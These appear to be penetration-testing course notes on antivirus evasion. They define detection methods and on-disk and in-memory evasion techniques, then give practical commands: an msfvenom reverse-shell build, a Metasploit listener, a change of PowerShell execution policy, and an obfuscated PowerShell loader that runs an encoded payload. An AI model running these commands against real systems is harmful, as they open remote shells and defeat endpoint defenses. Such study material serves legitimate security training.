Module 17 (Antivirus Evasion)

Methods of Detection Malicious code

• Signature-Based Detection

• Heuristic-Based Detection

• Behavioral-Based Detection

Bypassing Antivirus

• On-Disk Evasion

  • packers

  • Obfuscators

  • Crypters

  • Software Protectors

• In-Memory Evasion

  • Remote Process Memory injection

  • Relective DLL Injection

  • Process Hollowing

  • lnline hooking

Methods of Detecting Malicious Code

Signature-Based Detection

• Identifies known malware based on predefined signatures.

Heuristic-Based Detection

• Analyzes the behavior of code to identify potential threats based on heuristics.

Behavioral-Based Detection

• Examines the behavior of code during execution to identify suspicious activities.

ON-Disk Evasion

Packers

• Tools that compress or encrypt executable files to obfuscate their content.

Obfuscators

• Techniques that obscure the code's logic and structure to make it harder to analyze.

Crypters

• Tools that encrypt executable files to evade signature-based detection.

Software Protectors

• Programs that protect executable files from analysis and tampering.

In-Memory Evasion

Remote Process Memory Injection

• Injecting code into the memory space of a remote process.

Reflective DLL Injection

• Loading a DLL into a process's memory without putting it on disk.

Process Hollowing

• Creating a new suspended process and replacing its memory space with malicious code.

Inline Hooking

• Modifying function pointers to redirect execution flow.

Practical

Manual

Avira Free V 15.0.34.16

Download Avira Free Antivirus 15.0.34.16 - Download - Filepuma.com

Simple reverse shell binary

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f exe > binary.exe

Power shell ExecutionPolicy

powershell Get-ExecutionPolicy -Scope CurrentUser 
powershell Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope CurrentUser
powershell Get-ExecutionPolicy -Scope CurrentUser

metasploit one line command

msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LPORT 4444; set LHOST 192.168.1.6"

Powershell AV bypass payload

$jHs = '<BASE64_ENCODED_PAYLOAD>'
$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($jHs))
$TmU = "-e "
if([IntPtr]::Size -eq 8){
    $YZfX = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell"
    iex "& $YZfX $TmU $e"
} else {
    iex "& powershell $TmU $e"
}

Tools

• Shellter

• the fat rat

• Empire

• veil